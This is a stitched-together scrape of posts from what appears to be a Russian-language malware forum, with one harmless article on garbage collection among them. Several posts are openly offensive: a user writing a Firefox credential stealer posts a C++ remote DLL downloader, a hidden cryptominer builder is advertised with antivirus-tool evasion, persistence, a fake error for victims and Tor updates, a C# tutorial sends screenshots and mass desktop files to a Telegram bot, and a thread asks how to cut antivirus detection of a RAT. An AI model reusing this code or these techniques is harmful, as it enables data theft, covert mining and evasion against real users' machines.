char szDir[MAX_PATH];
strcpy(szDir, "\\??\\c:\users\mose3c\Desktop\my.txt");

as.Buffer = (char*)malloc(strlen(szDir) + 1);
strcpy(as.Buffer, szDir);
as.Length = as.MaximumLength = Ustring.MaximumLength = Ustring.Length = strlen(szDir);

// convert directory name from ANSI to UNICODE
_RtlAnsiStringToUnicodeString RtlAnsiStringToUnicodeString = (_RtlAnsiStringToUnicodeString)GetProcAddress(GetModuleHandleA("ntdll.dll"), "RtlAnsiStringToUnicodeString");
RtlAnsiStringToUnicodeString(&Ustring, &as, TRUE);


RtlFillMemory(&obj, sizeof(OBJECT_ATTRIBUTES), 0);
robj.Length = sizeof(obj);
robj.Attributes = OBJ_CASE_INSENSITIVE;
robj.RootDirectory = NULL;
robj.SecurityDescriptor = NULL;
robj.SecurityQualityOfService = NULL;
robj.ObjectName = &Ustring;

status = NtCreateFile(&hFile, FILE_GENERIC_READ | FILE_GENERIC_WRITE | SYNCHRONIZE, &obj, &risb, 0, FILE_ATTRIBUTE_NORMAL, 0, FILE_OVERWRITE_IF, FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0);
if (!NT_SUCCESS(status))
      return 1 ;

IO_STATUS_BLOCK WFISB;
status = NtWriteFile(hFile, NULL, NULL, NULL, &WFISB, /*your Buffer here*/, BufLen, 0, NULL);

if (!NT_SUCCESS(status))
return 1;

now Its bingo we have done build the project and test it if you need to run it in windows 7 you need to reverse the ntdll.dll for windows 7
becouse its wow64 you can't find alot of content and you have to done it by your self

i realy want to make more tutorials what do you like the next tutorial to be about .?
its up to you let me know in replay pleas .

BitcoinChecker balance
ID: 6765d804b4103b69df375990
Thread ID: 45390
Created: 2020-12-10T12:58:06+0000
Last Post: 2021-06-22T13:29:06+0000
Author: Tubu
Replies: 17 Views: 4K

Для работы нужен framework не ниже 4.5.2
Работает с адресами 1... и 3..., bc1
На выходе будет 2 файла или 1, если баланс больше 0 то в файл с балансами, если баланса нет, но были поступления то файл Addresses_recieved

биткоин чекер.gif
https://anonfiles.com/J1809bxfpc/BitcoinChecker_zip

Сборка мусора. Разбираем мифы об автоматическом управлении памятью
ID: 6765d804b4103b69df3759a5
Thread ID: 43650
Created: 2020-10-28T20:05:46+0000
Last Post: 2021-06-02T05:27:40+0000
Author: tabac
Prefix: Статья
Replies: 6 Views: 4K

Когда читаешь дискуссии между сторонниками и противниками автоматического управления памятью, может сложиться впечатление, будто это какая‑то единая технология, одинаково реализованная во всех языках программирования. В этой статье мы поговорим о сборке мусора — наиболее распространенном механизме управления памятью.
Споры на эту тему вообще нередко звучат как «чистый С против остальных языков». В действительности автоматическое управление памятью в С вполне возможно и применяется на практике, да и «остальные языки» и разные их реализации сильно отличаются друг от друга.

ОШИБКИ УПРАВЛЕНИЯ ПАМЯТЬЮ​

Для начала вспомним, от чего нас спасает автоматическое управление памятью.

Первая и самая известная, но при этом не самая опасная — утечка памяти (memory leak). Утечка происходит, если запросить у ядра ОС память и забыть ее вернуть. В терминах языка С — вызвать malloc() и забыть free(). Программа с этой проблемой будет занимать все больше и больше памяти, пока ее не остановит пользователь или сама ОС. Поведение программы при этом остается корректным, и проблем с безопасностью утечки не вызывают.

Вторая проблема — висячие указатели (dangling pointers). Суть проблемы в том, что в программе остается указатель на участок памяти, который уже был освобожден. Для повторного обращения к такой памяти есть отдельный термин — use after free. Такие ошибки гораздо опаснее, и последствия могут быть самыми разными: от сложных в отладке глюков до возможности выполнить произвольный код — база CVE [не даст соврать](https://cve.mitre.org/cgi- bin/cvekey.cgi?keyword=use+after+free).

Более редкий вариант проблемы с висячим указателем — повторное освобождение (double free), которое уничтожает полезные данные.

Таким образом, от решения для автоматического управления требуются два свойства: никогда не удалять из памяти объекты, на которые есть живые указатели, и по возможности не оставлять в памяти объекты, на которые живых указателей нет.

ЧТО ДЕЛАЕТ СБОРЩИК МУСОРА?​

Упрощенно можно сказать, что при запуске у программы есть непрерывный диапазон адресов, куда она может поместить свои данные. Программа с автоматическим управлением памятью сразу при запуске запрашивает у ОС область памяти под «кучу» (heap). Начальный размер кучи часто (но не всегда) можно настроить во время компиляции или выполнения. При выполнении программы размер кучи может расти.

После этого сборщик мусора периодически следит за тем, какие участки памяти еще содержат нужные данные, а какие можно освободить и заполнить новыми данными. Как именно он это делает — зависит от реализации, но об этом дальше. Для начала развеем более простые мифы.

СБОРЩИК МУСОРА — ЧАСТЬ ЯЗЫКА?​

Часто можно услышать утверждения вроде «Ruby — язык со сборкой мусора» или «С — язык с ручным управлением памятью». Первое утверждение верно в том смысле, что ни одна реализация Ruby не предоставляет возможность управлять памятью вручную.

Со вторым утверждением сложнее. Сборка мусора не входит в спецификацию языка С. Тем не менее спецификация ее и не запрещает. Спецификация языка ада также не навязывает авторам компиляторов какую‑то конкретную модель управления памятью, но некоторые компиляторы при этом предоставляют опциальный сборщик мусора.

Такие компиляторы С мне неизвестны, но на практике автоматически управлять памятью в программах на С вполне возможно с помощью сторонних библиотек.

Для примера мы возьмем Boehm GC. Это весьма зрелый и функциональный продукт, который использовали или поныне используют множество проектов: как приложений (например, векторный графический редактор Inkscape), так и реализаций языков программирования.

Используем Boehm GC​

Многие дистрибутивы Linux предоставляют пакет с Boehm GC в репозиториях, чаще всего под именем libgc. В Fedora его можно поставить командой sudo dnf install libgc-devel, в Debian — sudo apt-get install libgc-dev.

Для демонстрации мы напишем программу, которая непрерывно запрашивает память под массив из тысячи целых чисел, но никогда ее не освобождает. Если бы мы использовали для выделения памяти классический malloc(), это была бы хрестоматийная утечка памяти. Но мы обратимся не напрямую к ОС, а к менеджеру памяти Boehm GC с помощью функции GC_MALLOC() и посмотрим, что будет.

Сохраним следующий код в файл gctest.c.

C:Copy to clipboard

#include "gc.h"
#include <stdio.h>
int main() {
    GC_INIT();
    while(1) {
        printf("Allocating memoryn");
        int *p = (int*)GC_MALLOC(sizeof(int) * 1000);
        printf("There are %d free bytes in the heap nown", GC_get_free_bytes());
        printf("Making the object unreachablen");
        p = NULL;
        printf("There are %d free bytes in the heap nown", GC_get_free_bytes());
    }
}

Вызовом int p = (int)GC_MALLOC(sizeof(int) * 1000) мы запрашиваем память на массив из тысячи 32-битных целых чисел (4069 байт) и сохраняем указатель на этот участок памяти в переменной p. Далее мы делаем эту память недоступной, заменив значение p нулевым указателем.

Теперь скомпилируем его командой gcc -lgc ./gctest.c -o gctest.

В выводе программы мы будем периодически наблюдать следующую картину: объем доступной памяти будет падать сперва до 8192 байт, затем до 4096 и, наконец, до нуля. Когда он достигнет нуля, следующая попытка выделения памяти скачком увеличит доступный объем.

Code:Copy to clipboard

$ ./gctest
...
There are 4096 free bytes in the heap now
Making the object unreachable
There are 4096 free bytes in the heap now
Allocating memory
There are 0 free bytes in the heap now
Making the object unreachable
There are 0 free bytes in the heap now
Allocating memory
There are 258048 free bytes in the heap now

По умолчанию Boehm GC выполняет сборку мусора только при острой необходимости — когда новую память взять уже негде. Если добавить в начало функции main() вызов GC_enable_incremental(), сборка мусора будет производиться чаще и объем свободной памяти не станет падать до нуля.

Вообще, у Boehm GC множество опций, которые можно менять как изнутри программы, так и извне с помощью переменных окружения.

СБОРЩИК МУСОРА — НЕУПРАВЛЯЕМЫЙ ЧЕРНЫЙ ЯЩИК?​

Другое распространенное мнение: сборка мусора — это всегда «магический», скрытый от пользователя и неуправляемый процесс.

Как мы уже увидели на примере Boehm GC, это не совсем верно. Автоматическое управление памятью — это всегда компромисс, и разные приложения требуют разных тактик сборки мусора для лучшей производительности. Авторы средств разработки это прекрасно понимают.

Авторы Boehm GC открыто признают, что GC_enable_incremental() может ухудшить общее время выполнения программы, но повысить ее отзывчивость. Что лучше для каждой конкретной программы, могут решить только ее автор и пользователи.

JVM предоставляет огромное количество опций для выбора стратегии сборки мусора и ее параметров. [Glasgow Haskell Compiler](https://downloads.haskell.org/~ghc/8.8.4/docs/html/users_guide/runtime_control.html#rts- options-to-control-the-garbage-collector) тоже содержит ряд опций, несмотря на репутацию академического языка.

Некоторые реализации языков также позволяют управлять сборкой мусора и получать данные об использовании памяти изнутри программы: например, Python, [Ruby](https://ruby- doc.org/core-2.7.0/GC.html), [OCaml](https://caml.inria.fr/pub/docs/manual- ocaml/libref/Gc.html). Авторы программ иногда предпочитают запускать сборку мусора вручную, когда связанная с этим кратковременная потеря производительности меньше всего заметна для пользователя.

Тем не менее в некоторых языках и их интерпретаторах действительно нет возможностей для ручной настройки управления памятью. Например, в Perl. Но это и не самая большая из проблем интерпретаторов языка Perl.

ВСЕ РЕАЛИЗАЦИИ СБОРКИ МУСОРА ОДИНАКОВЫ?​

Первые реализации сборки мусора появились еще в шестидесятых годах прошлого века, в интерпретаторах языка лисп. С тех пор методы поиска «мертвой» памяти и ее освобождения непрерывно совершенствовались. Увы, появление новых, более эффективных методов не означает, что их сразу начнут использовать во всех языках.

Иногда реализации языков продолжают придерживаться старых методов по историческим или практическим причинам. К примеру, Perl использует самую простую стратегию из возможных — подсчет ссылок.

Подсчет ссылок и его проблемы​

Когда программист на Perl пишет $msg = "hello world", интерпретатор помещает значение "hello world" в память и сохраняет в $msg указатель на него. Если присвоить его другой переменной ($hello = $msg) или поместить в массив (@msgs = ($msg)), счетчик ссылок увеличивается на единицу. Как только переменные $hello или @msgs выйдут из области видимости, счетчик уменьшается. Когда счетчик достигнет нуля, память со строкой "hello world" считается недостижимой и освобождается.

Очевидная проблема этого подхода — циклические ссылки создают утечку памяти. Рассмотрим для примера двусвязный список. Чтобы список можно было проходить в обоих направлениях, последующий элемент ссылается на предыдущий, и наоборот. Очевидно, при использовании простого подсчета ссылок для определения недоступной памяти ни один элемент двусвязного списка никогда не станет недоступен.

Авторы Perl [открыто признают](https://perldoc.perl.org/perlref#Circular- References) эту проблему и советуют вручную использовать слабые ссылки (weak references). Почему они не перешли на более совершенные методы? Perl чаще всего используют для небольших скриптов или во всяком случае не для программ со сложными алгоритмами и структурами данных, поэтому для типичного использования это не создает проблем. Однако об этом нужно помнить, чтобы случайно не посчитать Perl хорошо пригодным для работы с такими структурами данных.

Python также использует подсчет ссылок как основной механизм, но, в отличие от Perl, содержит алгоритм поиска циклических ссылок. Поиск циклических ссылок — это более затратная операция, поэтому он не проводится на каждом цикле сборки мусора, но, по крайней мере, структуры данных вроде двусвязных списков и циклических графов не останутся в памяти навсегда.

Tracing garbage collectors​

Некоторые думают, что все сборщики мусора используют подсчет ссылок, и совершенно зря. Многие языки и их компиляторы используют схему с отслеживанием (tracing garbage collector). Такие алгоритмы начинают работу от «заведомо доступных» объектов (например, глобальных переменных) и отмечают все объекты, на которые те ссылаются, — для отметки доступности служат зарезервированные биты. Затем объекты, которые не помечены как используемые, освобождаются.

Алгоритмы этого семейства объединяются термином mark-and-sweep. Среди их пользователей — JVM, .Net, Go, OCaml и многие другие языки и их библиотеки времени выполнения.

В отличие от подсчета ссылок, эти алгоритмы позволяют выполнять сборку мусора параллельно с выполнением самой программы. На практике эта возможность реализована не всегда, и многопоточная сборка мусора без ущерба для скорости выполнения однопоточных программ все еще открытая и не до конца решенная проблема. JVM, к примеру, предоставляет как однопоточную, так и параллельную реализацию для разных случаев.

ЗАКЛЮЧЕНИЕ​

Знаешь ли ты, как твой любимый язык и его реализация управляют памятью? Нередко именно это знание отличает новичка от эксперта, особенно если речь идет о приложениях с высокой нагрузкой, поскольку верный выбор опций сборки мусора может сильно ускорить работу программы.

Возможно ли автоматическое управление памятью без сборки мусора и связанных с ней потерь производительности? Да, но об этом — в следующий раз.

автор @dmbaturin aka Даниил Батурин
взято с хакер.ру

Проблема с загрузкой dll firefox
ID: 6765d804b4103b69df375a1c
Thread ID: 42605
Created: 2020-09-28T18:55:24+0000
Last Post: 2020-10-01T20:20:00+0000
Author: Jurddox
Replies: 56 Views: 4K

Короче стоит задача мне написать стиллер для firefox, я гружу dll с сервера, вот функция которая загружает dllки

C++:Copy to clipboard

DWORD DownloadFile(char* url, char* filePath)
{
    HINTERNET    hInetSession;
     HINTERNET    hInetFile;
     HANDLE         hFile;
     OVERLAPPED ovlp;
     DWORD         dwOffset = 0;
     DWORD         dwRead;
     TCHAR           ReadBuf[4 * 1024];

     hInetSession = InternetOpenA("Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.0; .NET CLR 1.0.2914)", PRE_CONFIG_INTERNET_ACCESS, NULL, NULL, 0);
     if (hInetSession == NULL)
     {
         return -1;
     }

     hInetFile = InternetOpenUrlA(hInetSession, url, NULL, 0, 0, NULL);
     if (hInetFile == NULL)
     {
         return -1;
     }

     hFile = CreateFileA(filePath, GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
     if (hFile == INVALID_HANDLE_VALUE)
     {
         InternetCloseHandle(hInetSession);
         InternetCloseHandle(hInetFile);
         return -1;
     }

     do
     {
         InternetReadFile(hInetFile, ReadBuf, sizeof(ReadBuf), &dwRead);
         if (dwRead >= 0)
         {
             ovlp.hEvent = NULL;
             ovlp.OffsetHigh = NULL;
             ovlp.Offset = GetFileSize(hFile, NULL);

             WriteFile(hFile, ReadBuf, dwRead, NULL, &ovlp);
             dwOffset += dwRead;
         }
         else
         {
             InternetCloseHandle(hInetSession);
             InternetCloseHandle(hInetFile);

             hInetSession = InternetOpenA("Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.0; .NET CLR 1.0.2914)", PRE_CONFIG_INTERNET_ACCESS, NULL, NULL, 0);
             if (hInetSession == NULL)
             {
                 CloseHandle(hFile);
                 return -1;
             }

             hInetFile = InternetOpenUrlA(hInetSession, url, NULL, 0, 0, NULL);
             if (hInetFile == NULL)
             {
                 CloseHandle(hFile);
                 InternetCloseHandle(hInetSession);
                 return -1;
             }

             InternetSetFilePointer(hInetFile, dwOffset, NULL, FILE_BEGIN, NULL);
         }
     } while (dwRead);

     CloseHandle(hFile);
     InternetCloseHandle(hInetSession);
     InternetCloseHandle(hInetFile);
     return 1;
}

Функция вроде норм, но я думаю, что вся фигня из за нее
Так короче идем дальше, я загрузил с серва dllки их 4 - freebl3, mozglue, nss3, softokn3, дальше я их поместил в одну дерикторию вызвал функцию SetCurrentDirectoryA, передав аргумент, самого пути к папке с dllками, далее делаю загружаю nss3.dll - LoadLibraryA("nss3.dll"), возвращает 00000000, так вот с этими скачаннами файлами ничего не выходит, я даже пытался эти файлы скачанные закинуть отдельно в одну папку и попробовать сделать те дейстивия(думал проблемы с асинхронностью), так вот когда я пробую загрузить уже не скачанные файлы, а это dllки чисто из firefox, то он выводит все норм указатель на память. Я думаю это, что то в функции с загрузкой файла, хз. Сори если было много ошибок и написал много х#йни не понятной)

miner builder
ID: 6765d804b4103b69df375a30
Thread ID: 28680
Created: 2019-04-09T13:21:16+0000
Last Post: 2020-08-21T09:14:29+0000
Author: uniseda
Replies: 10 Views: 4K

**[+] Запуск из под пользователя без админ прав;
[+] Все реализовано одним exe фаилом;
[+] В диспетчере задач процесс attrib.exe;
[+] При нажатие "Открыть место хранения фаила" открывается windir, где выделяется attrib.exe
[+] После заражения сборка стартует не сразу, примерно в течение минуты. После старта еще требуется время для подключения к Тору для скачивания актуальной версии майнера;
[+] При включение Windows, сборка стартует не сразу, в течение минуты;
[+] При открытие Task Manager, Process Hacker, Process Explorer, Perfmon,
VirusTotal Uploader 2.0, aida64, System Explorer, Open Hardware Monitor, PCHunter64, HWiNFO64, GPU-Z, GPU-Z, AnVir, Real Temp, speedfan, Process Lasso майнер выключается. Не 1го процесса лишнего не висит. Запускается только после закрытия выше перечисленных программ спустя примерно минуту;
[+] Защита от завершения процесса. Если процессы майнера будут завершены, то в течение минуты перезапустятся;
[+] Если пользователь найдет сборку, то для него это будет не понятный exe фаил. Сборка не запускается по двойному щелчку, только по специальным переданным ей параметрам.
[+] Автозагрузка;
[+] "Склейка";
[+] Мощность майнинга на CPU можно выбрать на:
- 50%
- 75%
- 100%
[+] GPU майнинг.При простое ПК 2 минуты, начинает майнить на видеокарте тоже. Если "простой" заканчивается, то GPu майнинг выключается. (Поддержка видеокарт начиная от GTX 970 и выше, RX 460 и выше)
[+] Отслеживание ошибки при запуске майнинга на видеокарте. Т.е., если стоят не подходящие драйвера, либо еще что-то не так и при старте майнинга GPU выскакивает ошибка. То эту ошибку автоматом закрывает и перестает снова пробовать запустить до следующего обновления майнера.
[+] Рандомное имя воркера из 7 цифр под каждый запуск. (автоматом ставится для найсхэш, если не выбранно постоянное имя воркера)
[+] Фейк-ошибка. (при запуске сборки жертве показывается ошибка, якобы не запустилось)
[+] Постоянное имя воркера. (Можно выбрать для пулов, где есть имена воркеров. На каждом ПК сборка присваивает индивидуальное имя воркеру, это имя сохраняется всегда, даже после перезагрузки. Полезно для отслеживания живучести воркеров)
[+] Поддержка SSL/TLS;
[+] Логгеры;
[+] Автообновление через сервера в Торе. Невозможно заблокировать, всегда поддерживается свежая версия майнера на зараженных ПК, что актуально после хардфорков монеток. Больше никаких потерь воркеров из-за хардфорков.
[+] Сборка поддерживает все версии Windows от 7 и выше, 32 и 64 bit.

Донат разработчика - 10%

Скачать и следить за выходом свежих версий можно по след. ссылкам:
https://github.com/hawksh/Hidden-miner-builder
или
https://t.me/hidden_miner**

[C#] TelegramBot - Отправка данных боту
ID: 6765d804b4103b69df375a32
Thread ID: 34352
Created: 2020-01-14T10:47:18+0000
Last Post: 2020-08-20T09:37:56+0000
Author: r3xq1
Replies: 7 Views: 4K

Наша программа будет уметь делать следующие функции:

Сразу хочу предупредить чтобы успешно подключиться к боту вы не должны находится за NAT
Если Вы не можете подключиться к боту используйте VPN сервер, или же подключитесь напрямую через Proxy к TelegramBotClient - Об этом в следующем уроке.

Создаём класс Telega.cs
Подключим все зависимости:

C#:Copy to clipboard

using System;
using System.IO;
using System.Linq;
using System.Net.Http;
using System.Text;
using System.Threading.Tasks;
using Telegram.Bot;
using Telegram.Bot.Types;
using Telegram.Bot.Types.InputFiles;

Создадим переменную bot от TelegramBotClient внутри класса Telega

C#:Copy to clipboard

public class Telega
{
   private static TelegramBotClient bot; // Переменная bot
}

Запишем функцию отправки и удаления сообщения

C#:Copy to clipboard

public class Telega
{
   private static TelegramBotClient bot;

   public static async Task SendMessage(string token, int destID, string text)
   {
      if (!string.IsNullOrWhiteSpace(token))
      {
          try
          {
             bot = new TelegramBotClient(token); // Подключение к боту
             Message ss = await bot.SendTextMessageAsync(destID, text); // Отправка сообщения
            Console.WriteLine($"Вы отправили боту текст с сообщением: {ss.Text}"); // В консоль получим сообщение какой текст отправили.
            Console.WriteLine($"Всего сообщений: {ss.MessageId} | Чат ID: {ss.Chat.Id} | Date: {ss.Date}");
         // await bot.DeleteMessageAsync(destID, ss.MessageId); // Удаления сообщения
          }
          catch (ArgumentException ex) { System.IO.File.AppendAllText("ConnectError.txt", $"{ex.Message}\r\n"); }
      }
   }
}

В классе Program.cs

C#:Copy to clipboard

using System;
using System.IO;
using System.Text;

internal static partial class Program
{
    // Получаете данные в своём телеграм боте, и после прописываете их в коде.
    private static string token = "8600:AAHzYkm8eZKd***"; // тут ваш токен
    private static int id = 49755****; // тут ваш айди

    private static StringBuilder stringBuilder = new StringBuilder();

    public static void Main()
    {
       Console.Title = "TelegramBot";
       stringBuilder.AppendLine($"Привет {Environment.UserName} это я твой бот =)");
       try
       {
          Telega.SendMessage(token, id, stringBuilder?.ToString()).Wait();
       }
      catch (AggregateException) { File.AppendAllText("ConnectError.txt", "Ошибка подключения возможно вы находитесь за NAT. Используйте Proxy сервер или VPN\r\n"); }
    }
}

Spoiler: Запустим бота и проверим

1578998502939.png

Как видим сообщение отправляется =)

Теперь в классеTelega.cs - запишем функцию которая будет отправлять скриншот

C#:Copy to clipboard

public static async Task SendPhoto(string token, int chatId, string filePath)
{
     if (!string.IsNullOrWhiteSpace(token) || System.IO.File.Exists(filePath))
     {
         using (var form = new MultipartFormDataContent())
         {
             form.Add(new StringContent(chatId.ToString(), Encoding.UTF8), "chat_id");
             using (var fileStream = new FileStream(filePath, FileMode.Open, FileAccess.Read))
             {
                form.Add(new StreamContent(fileStream), "photo", filePath.Split('\\').Last());
                using (var client = new HttpClient())
                {
                    await client.PostAsync($"https://api.telegram.org/bot{token}/sendPhoto", form);
                    Console.WriteLine("Скриншот отправлен успешно!");
                }
             }
         }
     }
}

В классе Program.cs вызывается таким образом

C#:Copy to clipboard

using System;
using System.IO;

internal static partial class Program
{
      // Получаете данные в своём телеграм боте, и после прописываете их в коде.
     private static string token = "860740080:AAHzYkm8eSYmZKd***"; // Ваш токен
     private static int id = 49755****; // Ваш ID

     private static readonly string DesktopFile = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory), "Screenshot_4.png"); // Ваш файл.

     public static void Main()
     {
        Console.Title = "TelegramBot"; // Заголовок консоли
        try
        {
            Telega.SendPhoto(token, id, DesktopFile).Wait(); // Отправка фото и ожидание (wait())
        }
       catch (AggregateException) { File.AppendAllText("ConnectError.txt", "Ошибка подключения возможно вы находитесь за NAT. Используйте Proxy сервер или VPN\r\n"); }
     }
}

Spoiler: Запускаем программу и проверяем

1578998615245.png

Супер фотография отправлена =)

Переходим к следующему запишем в класс Telega.cs функцию отправки файла

C#:Copy to clipboard

public static async Task SendFile(string token, int id, string filename)
{
    if (!string.IsNullOrWhiteSpace(token) || System.IO.File.Exists(filename))
    {
         bot = new TelegramBotClient(token);
         using (FileStream stream = System.IO.File.OpenRead(filename)) // Открываем поток для чтения файла(ов)
         {
            string ssf = Path.GetFileName(filename); // Получаем имя файла
            var Iof = new InputOnlineFile(stream, ssf); // Входные данные для отправки
            string fromsend = $"Файл отправлен от: {Environment.UserName}"; // Имя пользователя
            Message ss = await bot.SendDocumentAsync(id, Iof, fromsend); // Отправка файла с параметрами.
          }
     }
}

В классе Program.cs вызываем так:

C#:Copy to clipboard

using System;
using System.IO;

internal static partial class Program
{
   private static string token = "860740080:AAHzYkm8eSYmZKd***"; // Ваш токен
   private static int id = 49755****; // Ваш ID

   private static readonly string DesktopFile =     Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory), "Lesson.cs"); // Ваш файл

   public static void Main()
   {
      Console.Title = "TelegramBot"; // Заголовок консоли
      try
      {
        Telega.SendFile(token, id, DesktopFile).Wait(); // Отправка файла с ожиданием (wait())
       }
       catch (AggregateException) { File.AppendAllText("ConnectError.txt", "Ошибка подключения возможно вы находитесь за NAT. Используйте Proxy сервер или VPN\r\n"); }
   }
}

Spoiler: Запускаем,проверяем

1578998686099.png

Файл успешно отправился =)

Если Вы хотите массово отправить файлы сделайте это следующим способом:

C#:Copy to clipboard

public static void MassSendFiles(string token, int id, string dir, string pattern)
{
     try
     {
         if (!string.IsNullOrWhiteSpace(token))
         {
            foreach (string files in Directory.EnumerateFiles(dir, pattern, SearchOption.TopDirectoryOnly))
            {
                SendFile(token, id, files).Wait();
            }
          }
      }
     catch (Exception ex) { Console.WriteLine(ex.Message); }
}

Вызывается так:

C#:Copy to clipboard

private static readonly string DesktopFile = Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory);
Telega.MassSendFiles(token, id, DesktopFile, "*zip");

Ну и на по следок получим информацию о боте:
В классе Telega.cs запишем функцию которая получит нужную нам информацию:

C#:Copy to clipboard

public static void GetInfo(string token)
{
    if (!string.IsNullOrWhiteSpace(token))
    {
         try
         {
            bot = new TelegramBotClient(token);
            var basa = new StringBuilder();
            User me = bot.GetMeAsync().Result;
            if (me.IsBot)
            {
               basa.AppendLine($"Логин бота: {me.Username}");
               basa.AppendLine($"Имя бота: {me.FirstName}");
               basa.AppendLine($"ID бота: {me.Id.ToString()}");
            }
                 Console.WriteLine(basa?.ToString());
        }
      catch (AggregateException) { Console.WriteLine("Соединение блокировано, используйте Proxy Сервер"); }
   }
}

Вызывается просто:

C#:Copy to clipboard

Telega.GetInfo(token);
Console.ReadKey();

На этом всё =) Всем удачи.

Готовый код:

C#:Copy to clipboard

namespace NewBot
{
    using System;
    using System.IO;
    using System.Linq;
    using System.Net.Http;
    using System.Text;
    using System.Threading.Tasks;
    using Telegram.Bot;
    using Telegram.Bot.Types;
    using Telegram.Bot.Types.InputFiles;

    public class Telega
    {
        private static TelegramBotClient bot;
        public static async Task SendMessage(string token, int destID, string text)
        {
            try
            {
                if (!string.IsNullOrWhiteSpace(token))
                {
                    bot = new TelegramBotClient(token); // Подключение к боту
                    Message ss = await bot.SendTextMessageAsync(destID, text); // Отправка сообщения
                    Console.WriteLine($"Вы отправили боту текст с сообщением: {ss.Text}");
                    Console.WriteLine($"Всего сообщений: {ss.MessageId} | Чат ID: {ss.Chat.Id} | Date: {ss.Date}");
                    await bot.DeleteMessageAsync(destID, ss.MessageId); // Удаления сообщения
                }
            }
            catch { }
        }

        public static async Task SendPhoto(int chatId, string filePath, string token)
        {
            if (!string.IsNullOrWhiteSpace(token) || System.IO.Directory.Exists(filePath))
            {
                using (var form = new MultipartFormDataContent())
                {
                    form.Add(new StringContent(chatId.ToString(), Encoding.UTF8), "chat_id");

                    using (var fileStream = new FileStream(filePath, FileMode.Open, FileAccess.Read))
                    {
                        form.Add(new StreamContent(fileStream), "photo", filePath.Split('\\').Last());

                        using (var client = new HttpClient())
                        {
                            await client.PostAsync($"https://api.telegram.org/bot{token}/sendPhoto", form);
                            Console.WriteLine("Скриншот отправлен успешно!");
                        }
                    }
                }
            }
        }

        public static async Task SendFile(string token, int id, string filename)
        {
            if (!string.IsNullOrWhiteSpace(token) || System.IO.File.Exists(filename))
            {
                bot = new TelegramBotClient(token);
                using (FileStream stream = System.IO.File.OpenRead(filename))
                {
                    string ssf = Path.GetFileName(filename); // Получаем имя файла из потока
                    var Iof = new InputOnlineFile(stream, ssf); // Входные данные для отправки
                    string fromsend = $"Файл отправлен от: {Environment.UserName}"; // Имя пользователя
                    Message ss = await bot.SendDocumentAsync(id, Iof, fromsend); // Отправка файла с параметрами.
                }
            }
        }

        public static void MassSendFiles(string token, int id, string dir, string pattern)
        {
            try
            {
                if (!string.IsNullOrWhiteSpace(token))
                {
                    foreach (string files in Directory.EnumerateFiles(dir, pattern, SearchOption.TopDirectoryOnly))
                    {
                        SendFile(token, id, files).Wait();
                    }
                }
            }
            catch (Exception ex) { Console.WriteLine(ex.Message); }
        }

        public static void GetInfo(string token)
        {
            if (!string.IsNullOrWhiteSpace(token))
            {
                try
                {
                    bot = new TelegramBotClient(token);
                    var basa = new StringBuilder();
                    User me = bot.GetMeAsync().Result;
                    if (me.IsBot)
                    {
                        basa.AppendLine($"Логин бота: {me.Username}");
                        basa.AppendLine($"Имя бота: {me.FirstName}");
                        basa.AppendLine($"ID бота: {me.Id.ToString()}");
                    }
                    Console.WriteLine(basa?.ToString());
                }
                catch (AggregateException) { Console.WriteLine("Соединение блокировано, используйте Proxy Сервер"); }
            }
        }
    }
}

C#:Copy to clipboard

namespace NewBot
{
    using System;
    using System.IO;
    using System.Text;
    using System.Threading.Tasks;

    internal static partial class Program
    {
        // private static string token = "860740080:AAHzYkm8eSYmZKd***";
        // private static int id = 49757;
        private static readonly string txtfile = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory), "file.txt");
        private static StringBuilder stringBuilder = new StringBuilder();
        public static void Main()
        {
            Console.Title = "TelegramBot Test connect by Antlion";
            stringBuilder.AppendLine($"Привет бот это: {Environment.UserName}");
            Console.ForegroundColor = ConsoleColor.Green;
            Console.WriteLine("\"Для подключения требуется VPN сервер!\"\r\n");

            Console.ForegroundColor = ConsoleColor.Cyan;
            Console.Write("Введите токен для подключения: ");

            string token = Console.ReadLine(); // тут вводим наш токен бота

            Console.Write("Введите ID: ");
            int id = Convert.ToInt32(Console.ReadLine());
            Console.ForegroundColor = ConsoleColor.White;
            Console.WriteLine();

            Task.Run(() =>
            {
                //Telega.SendMessage(token, id, stringBuilder.ToString()).Wait();
                //Telega.SendPhoto(id, file, token).Wait();
                Telega.SendFile(token, id, txtfile).Wait();

            });
                //string desktopath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory), "Files");
                //Task.Run(() => Telega.MassSendFiles(token, id, desktopath, "*.*"));
                Telega.GetInfo(token);
            Console.ReadKey();
        }
        /*
        public static void Main()
        {
            Console.Title = "TelegramBot";
            try
            {
                Telega.GetInfo(token);
                Console.ReadKey();
            }
            catch (AggregateException) { File.AppendAllText("ConnectError.txt", "Ошибка подключения возможно вы находитесь за NAT. Используйте Proxy сервер или VPN\r\n"); }
        }
        */
    }
}

Код писался давно, многое можно переписать, но лень) Может кому-то будет полезно, что-то для себя возьмёт.
Пользуйтесь! ))

C++ tiny sqlite parser
ID: 6765d804b4103b69df375a39
Thread ID: 33068
Created: 2019-11-07T13:55:31+0000
Last Post: 2020-08-07T09:22:45+0000
Author: Crypto Locker
Replies: 22 Views: 4K

Ну как японял админ хочет чтобы форум 'продвигался'
Скину сюда это.

Кое где в сорсах специально допущена ошибка, знающий уберёт. Копипастерам удачи
P.S говнокодец, давно делал.

You must have at least 20 reaction(s) to view the content.

Как эффективно чистить рантайм C++?
ID: 6765d804b4103b69df375a41
Thread ID: 39627
Created: 2020-07-15T07:47:09+0000
Last Post: 2020-07-18T07:12:48+0000
Author: tilekvj
Replies: 36 Views: 4K

Хочу задать малварщикам вопрос. Как Вы чистите рантайм своей проги на C++? И есть ли самые эффективные методы чистки. Недавно знакомый сурсы ратинка скинул на C++, который показывает 25/36 ав. Попросил почистить. Исходники посмотрел, глаза помыл и заново начал изучать. Заменил некоторые методы, которые сильно детектят, обфусцировал строки, изменил длину переменных, (например char data[MAX_PATH] на char sahdsay8hudsa[MAX_PATH], переместил функции, для некоторых функции создал отдельный класс. и бац! 16/36... Картина не самая лучшая. А как Вы чистите рантайм малварь?
